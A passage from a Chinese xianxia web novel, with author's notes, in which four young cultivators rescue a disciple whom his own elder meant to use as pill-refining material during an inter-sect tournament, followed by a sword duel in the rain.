楚悯皱起眉头,崔栩铭作为近些日子唯一一个他们叫得出名字的翠屏山弟子,纵然家世修为在外门都是一抓一大把的“普通”,但若他当真只是个普通的弟子……又为什么次次都是他? 听从蔺长老指示将她和叶泯关进地牢的是他;暗中救下灵犀的也是他;告知谭一筠门中有异动的是他;如今很可能在比试中遭遇不公正对待的……依旧是他。 太多次的巧合堆叠,使得本就不合理的所谓“巧合”,变得更像人为了。 还没等她对此下一个结论,擂台边突生变故,几个已经结束了比试的修士忽的扭打在了一起,赤手空拳却招招狠厉,周围的修士纷纷避让,生怕被波及。 观礼席上一片哗然:“那是哪门弟子?擂台之下禁止打斗,这是明确写在大比守则里的!” “穿的不是校服,应当是散修。” “另几个似乎也是散修……打得太凶了,衣服都看不清。” “稽查的人呢?怎么还不来阻拦?” “打成那样了怎么挤得过去,本来擂台底下就全是人。” 楚悯从兰珏给她安排的位置上站了起来,正要动作,就见叶泯从人群中艰难地挤了出来,在原地茫然地四下环顾,然后隔着人海与她遥遥对上了视线。 楚悯仿佛听见自己心里传来“咯噔”一声。 崔栩铭不见了。 她正要离开观礼席,却见远处的叶泯朝她摇了摇头,随即自己拨开人群,朝外门弟子院的方向去了。 事态尚未明晰,他们贸然动作反而会引起暗处之人的警惕,楚悯只好坐回原地按兵不动,察觉到自己心绪纷乱,不得不闭上眼睛调息。 观礼席上的杂音渐渐远去,她紧皱的眉头也舒展开来。 并非她值此动乱关头却悠然自得,实在是此时的风中带有太多杂乱的“律”,千头万绪纠缠其间,而她甫一闭上眼,便被卷入其中,身不由己地开始仔细辨听。 激奋鼓噪的,来自擂台之下打斗的修士;悠然自得的,来自旁观席上事不关己的长老;还有一些…… 这些“律”犹如实物,在她闭上眼时仿佛触手可及,此刻全部纷乱地缠绕在一起,铺在她“眼前”。 四下的风仿佛并未与她擦身而过,而是或急或缓地扑进她的手心,被她攥紧,或是从指缝中匆匆而去,奔赴下一个能“听懂”风声的人。 楚悯缓缓收拢掌心,感觉自己就像是发现了某个由真相编织成的线团,那线团滚得太远,未被完全收纳,于是有一条线越来越长,一直蔓延到了她的眼前,被她一把攥进了手中。 楚悯倏地睁开眼。 正要出声叫她的谭一筠被她吓了一跳,险些从观礼席上翻下去,被眼疾手快的楚悯一把薅了回来。 “叶泯说……”谭一筠惊疑不定地开口。 楚悯打断了他的话:“我知道崔栩铭在哪,我们走。” **** 与苍韫桢聊得太久,还不知道大比那边进行得怎么样,有没有出乱子,关云铮正准备告辞起身,便听这位很是随和的女帝又说道:“你不想知道,为何我对此次动乱无动于衷?” 关云铮起身的动作顿住:“您……” 苍韫桢却没打算多说,畅谈许久,难得在此时卖起了关子:“你该走了。” 关云铮原本是打算要走,此刻被她这么一说反而困惑起来:“我……走去哪?” 最终还是苍韫桢先她一步站起身,拿着洞玄向大比现场走去:“你很快就知道了。” 她说走就走,没有一丝留恋,很快华贵的身影便消失在了路的尽头,只留下关云铮一人站在原地,犹自出神。 一阵风拂过,一旁的花枝轻颤着发出些响动,关云铮回过神来,发觉方才被苍韫桢信手变出的那个花苞,竟在这段时间里开花了。 这算什么?枯木逢春吗? 关云铮脸色变幻莫测地盯着那朵花,仿佛这样就能从中窥探出,苍韫桢方才所言究竟是何意似的。 不管了,现在不是赏花的时候。 关云铮一把拽回自己的心神,从那枝花上收回了目光,同样迈开步子朝大比场地走去。 ——只是还没走出多远,就遇上了来寻她的叶泯。 叶泯这些日子都在修炼音修之道,体术相对疏于锻炼,轻功也一般,这一路过来又得掩饰自己的行踪,走得很是辛苦,见到关云铮时气都险些喘不过来,撑着膝盖呼哧带喘地说道:“崔,崔栩铭可能出事了。” 关云铮二话不说,拉上他往外门弟子院走。 叶泯惊恐地发觉她的轻功居然到了能带着人“飘”几段的地步,一时之间手脚好似都变成了新装的,僵硬得不知道往哪摆,生怕关云铮几个起掠间,他垂下来的脚剐蹭到什么东西,把脚腕给磕了。 只是关云铮轻功虽小有成效,但气力毕竟有限,纵使叶泯尚且是少年身量,也比她自身重了不少,这么“飘”了几段后便力有不逮,速度逐渐慢了下来。 叶泯双脚刚一落地,便立刻站稳,还兼顾了一回身旁的同伴,在关云铮落地时扶了一把她的手肘:“谭一筠去找楚姑娘,大概也在赶来的路上了,我们先会合,再过去寻人。” “小悯自会带着谭一筠去找崔师弟,但是你能保证那里只有蔺长老吗?更别说单就一位蔺长老我们四人齐上可能都打不过,等他们做什么,方便被一网打尽?”关云铮毫不留情地说道,“我们先过去,万一解决不了,好歹小悯和谭一筠也能察觉,至少还能回去报信给兰长老。” 更何况他们四人中谭一筠才是兰长老的亲传弟子,纵然平日里对他时而笑骂,但谭一筠年幼失怙,全靠师父养大,说没有感情是假的。 关云铮设身处地,觉得谭一筠还是作为后备力量更为妥当,不然要是他落在敌方手里,兰长老约莫会受其掣肘,那就又落下风了。 叶泯明白了她的意思:“也对,那便由你我打头阵,看看那些人究竟要搞什么鬼。” **** “嘀嗒。” 崔栩铭被一阵恼人的滴水声吵醒,感觉全身重得如同灌了铅水,眼前也一阵昏沉,看不清东西。 筑基与否果然是个衡量大比资格的重要标准,原本他不曾筑基,不被门派长老们允许参与这次大比,此次上台,还得感谢平日里人见人骂的仙盟,给了他这次机会。 只是他到底是能力不足,给了机会也不中用,只能败给对手,输得一塌糊涂。 师父会怎样看待这次失败?会责怪他吗?还是会安抚他几句? 虽然他已经很久没见过师父安抚人的模样了。 他隐约知道师父这段时日在筹谋些什么,也大概明白他为何会下令让自己将楚悯和叶泯一同关入地牢,但他不愿意相信。 他知道师父并非天纵奇才,有的只是日复一日苦练的韧劲,和甘为千夫所指的勇气,这样的人为什么会忽然走上这样一条路? 难道所有的沉默寡言,所有的无私奉献,都是这些年来精心策划的一场戏? 疲惫地睁了一会儿眼睛,总算是能勉强看见眼前的景象了,只是还没等他看清自己究竟身在何处,便迟来地意识到了不对劲。 崔栩铭垂下眼,发觉方才那恼人的声音并非是他以为的滴水声,滴落下来的……是他的血。 他被铁链吊了起来,四肢腕处都被割开了一道口子,只是不知出于什么原因,血流的速度十分缓慢,到现在也没能流干,让他勉强能活着看见自己这副模样。 这景象刺得他眼瞳骤缩,剧烈地挣扎起来,可拴住他的铁链大概并非凡物,挣扎之中反而束缚得越加紧实,伤口受压,顿时流出更多的血来。 昏暗之中,他听见了一声叹息。 “谁?!” 很难说人究竟是闭眼时更为警醒,还是睁眼时更加警觉,但闭目塞听时大概还是可以自欺欺人的,睁开眼时就做不到了。 那叹息声近在咫尺,在崔栩铭听来,甚至有些熟悉。 昏暗的空间里忽然腾起一阵烟雾,缓缓笼罩住了他惊疑不定的脸。 再次失去意识之前,他不确定自己是否看到了烟雾那端,他师父的脸。 原来真的是师父……—— 作者有话说:我知道我又断章了不要骂我(抱头菇窜)争取在一章半内结束这个幻境,至于章节具体长度就看剧情节奏了。 今天过生日过得有点太嗨了根本无心写文(其实不过生日也无心写文)…… 说起来云崽这本的脑洞好像都是在22岁的尾巴诞生的了,一直到现在24岁了,也算是我和云崽互相见证了彼此的成长吧。顺便这段时间得到了很多来自朋友的爱,今天也吃到了很好吃的小蛋糕,分享我的快乐给愿意看我文字的读者们,希望你们也能开心[可怜][撒花] 第129章 虽然跟叶泯分析态势时表现得相当冷静可靠, 但当两人决定分头行动后,关云铮便不可避免地开始惴惴不安。她走向外门弟子院的路上一直能听见心里有个声音在碎碎念:莽撞了莽撞了,应该等到兰长老得到消息后再来的, 万一小悯和谭一筠与他们赶过来的时间差不多, 就没有人去通风报信了。 但同时,也不知究竟是谁给她的底气, 在这个声音说完后, 又有一个相对微弱的声音小声说:不会的不会的,兰长老一定会赶来的。 她此前从未在现实生活中遇到过兰珏这样看似有些不靠谱,实则很靠谱的大人,因为多数大人只能占一种表现,生活中的多数是后者,上学和上班中遇到的则很容易有前者。 因此她也想不明白, 自己对兰珏莫名其妙的信任究竟从何而来,总不能她其实真的认识一个跟兰珏有点相像、靠谱程度属薛定谔的神人吧? 与叶泯分头行动后恢复了点力气, 她一路飞奔,到了崔栩铭院外直接一跃而上, 翻过了院墙, 稳稳地落在了院里。 院里远不止没人这么简单,几乎称得上一片狼藉,那没有配套茶壶的茶盏摔碎了一个, 碎瓷片溅在桌边地面, 青石铺就的地面上甚至有刀剑劈出的花白痕迹,像是此地发生过一场恶斗。 活脱脱的“凶案现场”,但关云铮直觉不对,似乎有些“眼见为虚”。 她找不到足以支撑这一想法的实证,并且崔栩铭不在此处, 该即刻离开去别处寻人,没准叶泯已经与人交手…… 可她就是挪不开步子,仿佛有什么在强行挽留她的脚步。 这样想着,关云铮索性低头又仔细看了一遍地上的碎瓷片和划痕。 就像她至今没想明白自己为何会看到季邕的记忆一样,当她想要从碎瓷片和划痕之中看出一些什么端倪之时,她竟然真的看到了点东西。只不过可能受限于她如今的修为,或是记忆持有者的境界,能看到的画面有些断断续续,不像季邕临死前的记忆那样连贯。 好在也够用。 “果然是假的。”关云铮快速“翻阅”完这段伪造痕迹的记忆,不再停留,提气凝神,如同来时一样翻出了院墙,向着记忆之中来者离开的方向追去。 **** 如果抛开此次事件背后究竟是否为阴谋这一点不谈,叶泯觉得蔺长老等人确实很会挑选时机,再没有什么日子能比仙门大比这样的时候,有更多的修士出席了。而修士越多,可供他们炼制成丹药的“修为”就越多,计划成功的可能性也就越大。 ——但很可惜,这一点是不能被抛开的。 因为不管出于何种目的,没有任何一个人有资格为了实现自我的突破,就出手夺走别人的性命。 如果想要提升修为就去拿人炼丹,这世上也就没有所谓名门正派和歪门邪道的区别了——大家都这么干,估计只能用“血气炼丹”和“修为炼丹”这样的手段区别,来划分在世的修士了。 那会是个什么样的情形?叶泯不敢深想,好在他也清楚这样的情形绝无可能成为现实,只不过是他遭遇骇人听闻之事,忍不住想得愈加悲观了些。 灵犀作为蛇类对气味十分敏锐,眼神不大好使,却能精准地感受到人在何处。 在仙门大比这样的盛会之下,门中并无多少弟子留守,或是前去帮忙或是参与比试,或是单纯地凑个热闹,总之便宜了幕后之人行事,不用怕遇上熟人不好动手,这也消除了叶泯的顾虑:因为这一路都没碰见什么人,叶泯索性将灵犀又变大了些,让它钻出袖口绕在自己整条小臂上,带领着他向崔栩铭所在的方位走。 毕竟试探过崔栩铭立场后,确认他没有嫌疑后,他也没少投喂灵犀,灵犀对他的味道也十分熟悉。 朝着目的地跑了没多久,灵犀原本搭在他腕上的小半截身子便立了起来,焦躁地吐起信子,发出令人不安的“嘶嘶”声。 以往在鹧鸪山中叶泯没少见到灵犀这副模样,因此很快明白,它这样躁动难安,是因为闻到了浓重的血腥气。 不远处伫立着一座院落,规格几乎可媲美兰长老的那座,想必也是长老的住处。只是……他们竟就这样将人放在此处?难道真如谭一筠所说,蔺长老要做鲲鹏,管不了这些池鱼了? 当下顾不得深想,叶泯正打算潜行靠近,一阵阴冷的凉意忽然拂过他的鼻尖,瞬间将他后颈逼出了层叠的冷汗。 兰长老这些日子的教导涌入他的脑海:心思要活泛,身体则需多听从心的指引,面对如同“灵光一闪”般的想法时,可以试着听从。 她带着笑意的话音仿佛就在他耳边:试试而已,错了就改,要对自己有信心。 心念电转之间,他身形未动,一张符咒已脱手飞出。 缠在他手臂上的灵犀凭空暴涨了数倍,身躯展开的瞬间便扬起合抱粗的尾巴,将暗处飞来的东西甩了出去。 “呛啷”一声,刀刃落地。 叶泯脖颈上的冷汗还没完全褪去,那院落之中已走出一个人影,正是被他念叨了一路的,蔺长老。 **** “这方向是蔺长老的院落?”楚悯感知了片刻浮在空中的“律”,伸出手指向其中一个方向,看向一边的谭一筠。 谭一筠顺着她指的方向走:“是,看来我们的猜测成真了,他确实不打算给翠屏山留脸面。”仙门大比期间,自家长老做出这样的事,残害无辜散修和外门弟子的性命,为的竟还是提升自身的修为,翠屏山怕是会遗臭万年了。 楚悯知道他在想什么似的,一面赶路一边平淡道:“你有没有想过,倘若崔栩铭听他的指示,并且抓的不是我和叶泯,而是其他前来参与大比的门派修士,且那些修士获救后也被抹去记忆,不曾向外界透露此事,事态又会如何发展?” 谭一筠正心乱如麻,闻言忍不住皱眉道:“总有发现的时候,难道其他门派的随行之人任凭弟子走失不管吗?” “我们只知道此事一定有蔺长老参与其中,但他能力再强也不能只手遮天,必然还有他人牵涉其中,你觉得会是谁?”楚悯不答反问。 她的言外之意很明显,谭一筠的脸色陡然难看起来:“他们疯了吗?眼看着自己的弟子失去修为,沦为炼制丹药的材料?” 楚悯没接话。 谭一筠的脸色又从极端的愤慨变为了灰败:“也对,蔺长老还不是把崔师弟当成了材料,他们之间没什么区别。” 弟子可以再收,仙门大比这样可以将黑锅完全推给他人的机会却不多得,上了年纪后修为还能得到提升,更是求而不得的机遇,牺牲几个弟子又算什么?只需要对蔺长老的所作所为睁一只眼闭一只眼,就能收获修为提升这样全然利己的结果,何乐而不为? “若是真如我所猜测,确有其他门派之人参与其间,你觉得蔺长老会不会将天捅破?”楚悯又问道。 内外门平日里除了食宿能碰见之外,修习时都是见不上面的,谭一筠对蔺长老的了解也更多在私下为人,而非对修为等事的态度上,因此一时没能得出一个确切的答案。 楚悯忽然停住了脚步,不知是感知到了什么,面色也变得凝重起来:“叶泯已经到了,在前院和蔺长老对峙,你师弟在院子后方。”剩下半句话被她吞了,因为她隐约感知到独属于崔栩铭的“律”忽隐忽现,微弱得像是将死之人的喘息。 谭一筠没多犹豫:“我去救师弟,你去帮叶泯。” 楚悯却没答应:“云铮很快就到,叶泯那边尚且可以坚持,我和你去救崔师弟。” 听她语气笃定,谭一筠没再坚持,实在是无暇他顾,抄起子不语朝院子的后方奔去。 炼丹兴许已经在进行之中,院子后方的守备反而比前院森严,有几个生面孔守在此处,见了楚悯和谭一筠立时拿起各自的武器:“什么人!” 靠近后院的过程中楚悯已经抱出了自己的琴,此时指尖翻飞,琴弦震颤,一支足以扰乱心神、卸下气力的曲子顿时自她手下倾泻而出。 与此同,谭一筠扇面上的阵法处流光乍现,他一扇子将靠近的人扇得连退几步:“滚!” 上前之人胸口被震得发闷,一阵气血上涌,顿时怒不可遏:“哪来的小修士……” 谭一筠手中扇子一转,扇面上的阵法顿时变换,他二话不说又是一扇子过去:“少说废话,给我让开!” 有楚悯削弱对面攻势,谭一筠本就带着极强攻击性的阵法效力又上了一层楼,这一扇子竟将靠近的几人直接掀翻出去! 几人还没从地上爬起来,谭一筠已经将子不语抛向空中,空出来的手迅捷无比地夺过了一人的剑,一剑钉在了那人手腕处:“我没见过你们,想必不是我派中人,此行我只为救我师弟,本不想惹是非,但若你们仍执意阻拦……” 被他钉在地上的人嘶声叫喊,目光狠厉地向他瞪视:“你出手中伤我们,竟还以为能不了了之?” 谭一筠拔出剑身,手腕被利器捅穿又被来回刮擦,地上的人涸辙之鲋般抽动了一番:“你!” “我不是不会杀人。”谭一筠垂下来的目光很漠然,“我只是觉得能讲通道理,便没必要动手。” 但若是讲不通…… 楚悯指尖的曲调陡然一转,空中子不语应声而动,将谭一筠身侧正准备爬起来偷袭的人再度翻压回去。 谭一筠侧眸看去:“看来是讲不通了。” **** 灵犀虽然体型庞大,但毕竟还是血肉之躯,面对蔺长老这样高修为的修士,诸多攻击只能靠腾挪身体避让,无法直面,闪躲间很是费劲。 而且它多少吃了体型的亏,有些细微的攻击躲闪不及,终究还是挨了个实在,令在它身侧的叶泯心疼不已,几乎想用另一张符咒将灵犀变小,绕回自己腕上。 对敌之时最忌分神,叶泯这一心疼便露了破绽,蔺长老不动声色地为下一击寻了个刁钻的位置,那短剑擦着灵犀庞大的身体就要奔向叶泯。 兵刃撞在一起的声响。 不知从哪冒出来一把断刀,被人抛掷出来,在半途与那袭击对撞,将那短剑猛地弹飞出去! “发什么呆呢!等着别人捅你啊!”关云铮的声音紧随其后,从叶泯身后的方向传来。 不知从外门弟子院赶来的路上遇见了谁,关云铮此刻的模样没比叶泯好多少,衣袖被捅了几个口子,衣摆碎成了流苏,脸上也沾了灰,见了他精神倒是很好,哪怕顾不上骂人,也还是抽出空对他翻了个白眼。 值此危难关头看见她这幅样子,叶泯居然差点没忍住笑。 关云铮懒得骂他,一抬手将那断刀又收了回来,见对面的蔺长老又要动作,又一抬左手,将那短剑也收到了自己手中,牢牢地握在手里:“长老,对敌讲究先发制人,晚辈只好僭越了。” 蔺长老也没生气,反而真的停了手,拢起袖子平静道:“栩铭是个好孩子。” 还好话痨不在,不然听见这话不得气得跳起来。关云铮面无表情地想。 蔺长老接着说道:“能认识你们,是他人生一大幸事。” 叶泯忍不住开口:“他的人生都快被你毁了,你还有脸说这些?”也不知道谭兄和楚姑娘到了没有,崔师弟是不是还活着…… “你用自己教导出来的弟子炼丹,践踏他人性命的同时,自己的心血岂非也沦为一个笑话?就算仙门之中有腌臜之辈支持你认可你,同样把自己的弟子献出供你炼丹,你们都服下这丹药,提升了修为,日后呢?你们出身名门正派,拼尽全力提升修为,最初无非是为了在门派中谋求一个更高的位置,可事发之后会有哪个门派愿意留下你们?谋划甚多,到头来连自己想要的都得不到,究竟有什么可图的?”叶泯站在灵犀身侧质问道。 蔺长老神色漠然地摇了摇头:“你们这样的小修士是不会懂的。” “我不懂?”叶泯险些被他气笑了,“丹修最早出现在鹧鸪山一脉,因鹧鸪山物种与别处不同,蛇虫鼠蚁盛行,故邪修之中常有以毒物入药者,毒性深入肺腑的同时,能短暂地提升修为,这是邪修一派中丹修的起源。 “后来这些人发觉,长久服用毒丹药的修士虽寿命锐减,但尸身竟长久不腐不坏,遂取其血肉炼成丹药,竟比最初的毒丹药还要有效,修为几乎一日千里,于是又有了以人血肉、精气为原料炼丹的丹修,如今多在鬼灯楼一派中,但外界也不是没有。 “你如今所做的,不过是延续其人糟粕,选了个自以为更纯净更高明的原料而已,和那些伏在尸体上吸食血肉的虫豸没什么区别。”叶泯几乎是眼也不眨地说完了这些,由于话里挑衅的意味太强,一旁的关云铮忍不住将手中的剑握得更紧了些。 可蔺长老到底是上了年纪,小辈的挑衅他权当个屁,连左耳恐怕都没进去,遑论右耳出了。 他依旧是对一切都漠然的模样,随后忽然毫无预兆地动了,身子陡然腾空而起,一掌便要盖向灵犀头顶。 关云铮站得离灵犀太近,蔺长老的位置几乎在她的视角盲区,此时丢剑不仅伤不到他,还可能伤了灵犀。 打小动物算什么本事,她忍不住低声骂了一句,随后一跃而起,腰间的剑已无令自动,剑势如虹,电光火石间逼至蔺长老眼前。 但这毕竟只是剑在剑诀之下的自发动作,没有力量加持,对上蔺长老,也无非是让他的动作迟滞了一时半刻。 可就在这一时半刻之间,叶泯已经熟门熟路地顺着灵犀的身子攀缘而上,待到能看清蔺长老所在位置后,一道符咒脱手而出,带着熊熊燃起的火焰劈头盖脸地糊了上去! 与此同时,灵犀猛地一动身子,用脑袋将须发着火的蔺长老撞向不远处的院墙! “轰”的一声,院墙直接倒了一半。 关云铮与叶泯落回地面,两人犹在惊疑不定,忽然看见滚滚烟尘中出现两道熟悉的身影。 一切仿佛只发生在瞬息之间。 谭一筠的剑比关云铮方才那颇有忌惮的一剑还要狠厉果决,剑锋在蔺长老烧得发红的脸上划出了一道血痕。 关云铮一见楚悯勉力扶着的崔栩铭便立刻跑了过去,从乾坤袋中摸出好几瓶兰珏给的丹药,强自镇定着心神,从丹药瓶中倒出药丸来。 崔栩铭四肢淌血的模样能把健全人吓成半身不遂,关云铮不受控制地哆嗦着手腕,终于将丹药喂进了崔栩铭的嘴里。 “好了,小筠,放下剑吧。”万籁俱寂之中,兰珏的声音忽然响起。 而后是乱糟糟的脚步声。 一阵淡淡的花香拂过,有人从关云铮和楚悯手中接过了垂死的崔栩铭:“我来吧。” 两人原本不肯放手,却在尚未完全散去的烟尘中看清了来者的脸。 说不清是被怎样的感觉击中,她们不约而同地松开了手。 另一道陌生的声音在二人身后响起:“这位修士还有救,二位可放心交给小映。” 那声音忽而又转向另一边:“至于你们二位,蔺长老已无意反抗,不必再横剑相向了。” **** 蔺长老院外一架打得四人皆是体力透支,兰珏和那不知名的修士赶来后,便都无了后顾之忧,顿时陷入了昏睡之中。 ——陆续醒来时已是当日深夜。 关云铮活像是上了年纪缺觉,浑身发痛但精神已经清醒了,只好从榻上爬起来去给自己找点事情做。 她刚一打开房门,坐在她门外的人便转过身来:“睡醒了?” 关云铮心说我方才确实是睡醒了,但我现在怀疑自己在做梦。 大晚上的女帝不睡觉在她门外做什么? “你们救下的那位修士已无性命之忧,同伴中的另一位姑娘应当也醒了,余下两个估计还在睡,年纪略小些的受了些轻伤,都已经被小映处理好了。”苍韫桢语气温和地将现状一一告知,“还有什么想知道的吗?” 女帝这个身份来同她解释这些,关云铮简直有点想冒冷汗,搞不懂自己怎么配得上如此殊荣,忙不迭点头道:“暂时没有了。” 苍韫桢递给她一杯热茶:“估计你这会儿醒了今晚也别想再睡了,索性来陪我聊聊吧?” 关云铮默默接过茶盏坐下:“陛下想聊什么?” 苍韫桢随手给一旁的茶炉打了簇火苗:“就谈谈此次事件吧,你有什么想法?” 坦白说……其实没什么特别的想法。 她没有谭一筠那么关心则乱的愤怒,没有叶泯对邪派丹修一直以来的嫉恶如仇,也没有楚悯那样对事态犀利独到的眼光,只是觉得……有些疲惫。 蔺长老的作为总能让她想起21世纪的热搜新闻,泯灭人性的恶、得不到伸张的正义,这类事情见得多了,同情心和同理心虽然不曾磨灭,但心里的愤怒已经逐渐燃烧成灰烬了。 因为她的愤怒好像全无结果,哪怕每一次的发声她都没有遗漏,该发生的烂事也依旧在发生,烂人也总是如过江之鲫般层出不穷。 苍韫桢仿佛看出她在想些什么,忽然问道:“是不是觉得,恶人作恶总是毫无新意?”不论最终有怎样的目的,这些人作恶时采取的手段和方式向来没有什么新鲜的,邪派丹修不是用毒物就是用人入药,这么多年过去也没有长进。 关云铮垂眼喝了一口热茶,睫毛瞬间被水蒸气拂得湿漉漉的:“恶事本就无甚新意,不是谋财就是害命,大多是损人利己,更有甚者哪怕不能利己也要损人,把杀人害人当做取乐,可是恶事要新意做什么呢?那种迫切地想要某个相干或者不相干的人去死的念头,还不够吗?” 苍韫桢无声地注视了她片刻,旋即笑道:“你能这样想就好。” 关云铮抬起头,恍若未觉般对她眨了眨眼。 这一相对沉重的话题被两人轻轻拿起又放下,关云铮自觉不再多说,从苍韫桢最初的话里挑了个可供切入的话题:“小映是……?” 那股淡淡的花香又出现了,从她身边轻飘飘地拂过,随即一个有些熟悉的声音响起:“是我。” 兴许是还没从白日里夺命狂奔的疲惫里缓过劲来,关云铮竟然没有预先感受到她的靠近,直到她发出声音,才迟钝地抬起头来看了她一眼。 被烟尘模糊的脸此刻无比清晰。 原来这就是足以被称为“山水盈盈处”的眉眼吗? 细却并不显得柔弱的眉毛,比杏眼更纤长些的眼眸,清透的瞳色,再加上她唇角和眼尾仿佛天然带着的几分笑意…… 好美的一张脸。 来人对着她笑了笑:“在下归墟苍生道连映,粗通一些医理及疗愈术法。” 关云铮连忙收敛自己的眼神:“连师姐好。” 连映从乾坤袋中摸出一个药瓶:“这是你那时遗落在地上的。” 关云铮连忙伸手接过,拿在手里也没多注意药瓶的模样,就顺手塞回了乾坤袋里。 连映眼角笑意愈深:“我来是想问问,后日我派两位剑修之间有一场比试,你想不想去看看?”—— 作者有话说:8.11→8.20新增:液167+评60=6340,还有个雷是5000,一章太多了,下一更写 感谢读者们的灌溉与评论![撒花] 争取下一章结束幻境(擦汗) 第130章 连映所说的后日很快便到了, 四人经历了一天两夜的休憩,已经恢复了元气,只有叶泯因为最初直面蔺长老, 胳膊上的擦伤仍需要上点药。 “说实话, 我觉得他或许并不打算杀我。”叶泯摸了摸手臂上的伤口,那伤口实在很浅, 现下已经结痂了, 只不过还有些痒,他总忍不住要挠,也总是一抬手就被腕上的灵犀咬。 灵犀原本正把脑袋搭在他腕骨上打盹,感觉到他抬手凑近,眼也不睁就是一口。 “哎哟。”叶泯冤死了,“我就摸一下, 没要抓。” 灵犀不管,灵犀咬完继续打盹。 关云铮找了个观看比试最舒服的角度, 从乾坤袋里摸出一个小袋,又往同伴们的手心倒了点东西出来。 ——出发来看比试前, 兰珏说光看比试怕是太无聊, 特地给他们准备了一袋松子仁。 楚悯“嗯”了声,回答了叶泯最初的话,和关云铮坐在一处开始吃松子仁:“反倒是守在后院的人难对付些。” 钉住手腕这样的威慑也不管用, 非得见了血、甚至死了人才愿意给他们让路, 谭一筠彼时本就在气头上,要不是她后来见他快要杀红眼,强行用琴音震昏了余下几人,恐怕非得跟他们战个不死不休。 叶泯抬手给灵犀喂了颗松子:“蔺长老坦白了吗,为何要这样做。” 观礼席下逐渐响起了人声, 想来是比试快要开始了。谭一筠将一小撮炒得金黄的松子仁送入口中:“没说,什么也没说。” 余下三人拣松子吃的动作不约而同地顿了顿,又异口同声地叹了口气。 “崔师弟倒是醒了,说想去见他。”谭一筠忽而又说道,“我没理由管他,师父也同意了,但他尚且行动不便,暂时见不到。” “他那么想见的话,不帮帮他吗?”叶泯忍不住又叹了口气。 谭一筠面无表情地拍掉手心残留的松子碎屑:“我又不想他去见,我不帮。” 这话几乎有些孩子气了,关云铮和楚悯无声对视一眼,都有些想笑,但此情此景之下压住了嘴角。 卸掉圆滑之后,谭一筠就没往日那么啰嗦了,有时候甚至有些沉默寡言。之前仿佛焊在脸上的客气温润也没了,这两日只要在他面前提及蔺长老,瞬息之间脸就能黑得像阎王。 噫。 关云铮又看向此次事件中变化颇大的叶泯:“你找到你哥哥了吗?不去同他会合?我看比试安排上,灵兽派好像也就是今日比试了。” 叶泯犹豫着摇了摇头:“我总觉着当下不是会合的好时机。” 关云铮一头雾水:“那还有什么时候是好时机?”怎么好像她才是那个和哥哥走散的,叶泯一点也不着急似的。 然而让叶泯说出这话的只是一种玄而又玄的感觉,究竟出于何种原因,他也说不明白。 最后是一旁的楚悯解救了词穷的他:“我也一直有这样的感觉,好像我们并不该出现在此地,与这些如期参与仙门大比的人比起来,我们似乎……是一种变数。” 那种始终缠绕着关云铮的怪异感,在此刻终于得到了一个无比精准的形容。 变数。 得益于中学时期成绩优异,大学时期却是年段倒车尾这样的转变,关云铮这几年学会的最重要的一件事就是:别太把自己当回事。 所以当她发觉许多事情似乎只有他们四人的视角,许多人似乎也只与他们有所牵扯时,她的第一反应是“自己的认知还不够全面”,而不是“自己可能是事件中心的主角”。 而且非要论“主角”的话,将这段“剧情”的主旨彰显得最到位的,应该才是“主角”吧?譬如或许是一朝走岔的蔺长老,譬如私自救下叶泯和楚悯,将灵犀藏匿,又被自己的师父作为炼丹原料的崔栩铭。 不管蔺长老闭口不言的最初动机究竟是什么,将散修和外门弟子作为炼丹的原料确实是他的选择;不管崔栩铭究竟是不是最初就知道自己的师父在做什么,救下他人也是他的选择。 真实存在的人不是非黑即白的简单个体,屠狗辈中常有仗义之人,烧杀劫掠的土匪路过观音庙也会进去参拜。善者有阴暗面,恶人有恻隐时。 不过现实毕竟不是剧本,伤痛与爱恨,无法宣之于口的动机,都比剧本上云淡风轻的字眼来得真切。因此她也只是这样想想,并没有真的将这件事视作一个“剧本”。 ——虽然她也清楚,只有“剧本”能解释那种萦绕心头的怪异感。 如今这份怪异感有了新的解释,关云铮忽然冒出一个大胆的想法。 有没有一种可能,这件事其实是切实发生的事,但他们四个才是被“放入”这件事的“剧本角色”? **** “这安排也太不合理了,怎么会是任师姐和大师兄比试?归墟拢共也就这么两个参与大比的,还在同一场比试,岂不是便宜其他门派的受试者了。”归墟专属的观礼席上,章存舒新收的徒弟闻越正在抱怨翠屏山的场次安排。 连映宽慰道:“你不想看任师姐和阿却比吗?他们若是交手,一定很精彩的。” 闻越正把瓜子当比试安排者的脑袋嗑,脸上的神情还有点愤愤:“当然想看了,可我多的是机会看他们比试,大比这样一举夺下两个名次的机会可不多。若不是安排不合理,他们大可以击败更多的人,现今却非得在其中决出胜负来。” 原本若是一个榜首一个榜眼,岂不是皆大欢喜?现如今却只能有一人登上最后的金榜,必须有人在初次比试时落榜,真是想想就来气。 章存舒顺手揉了一把他的脑袋:“对阿却没信心,还是对任师姐没信心?就算他们其中一人输给了对方,难道这观礼席上众多修士,会看不出他二人的水平?不必担心。” 闻越被他师父揉得一脑袋乱毛,勉强将自己的心态调整好,静坐等候席下擂台开战。 不知是谁的身子先动,两道剑光已锐不可当地碰撞在一起。 闻越顿时顾不上嗑瓜子了,恨不得飞到擂台下近距离观赏。 任嵩华的剑他见过,比起寻常的剑,剑身更窄一些,也要长上几寸,故而极为狭长。在受灵气驱使时,剑身表面还会结出一层薄薄的冰。 或许这便是剑名“裁冰”的由来。 至于江却,他的剑身是寻常宽度与长度,但厚度却比普通的剑厚一些,由于冶炼过程中融入了玄铁,故而使起来极沉。大师兄丢剑了也不必担心被人拿去使用,因为寻常人根本无法单手将其拿起来。 这把剑,则叫作“破钧”。 闻越承认,自打他得知门中唯一的无情道也是剑修后,便一直想看她与自家大师兄打上一架。毕竟世人皆传无情道剑修的剑技无人能出其右,他实在很想知道,这被传得神乎其神的剑技,究竟有多精湛。 “嗯?”闻越若有所感地抬起头,“下雨了?” 翠屏山应当也有护山大阵,只不过门派中天气如常,此刻场中竟飘起雨来,顷刻之间,还生出越下越大的架势。 然而擂台上的比试却不会因为下雨就作罢。 ——破钧骤然撕裂雨幕,带着呼啸的破风声当头斩落。这一剑并无技巧,唯有纯粹的、近乎暴烈的力量,剑锋未至,那磅礴的压力几乎要将脚下的青石板碾为齑粉。 对面的任嵩华并未硬接。 她身姿如烟,在剑风将要触及身体前倏地动了,再次现身时已在一丈之外,原地的残影被破钧的剑势悍然撕碎。她手中裁冰斜指地面,剑身嗡鸣,一层剔透的寒冰以肉眼可见的速度蔓延,周遭雨丝落在剑上的瞬间,便凝成了细碎的冰棱。 “你的剑太重了。”任嵩华说道。 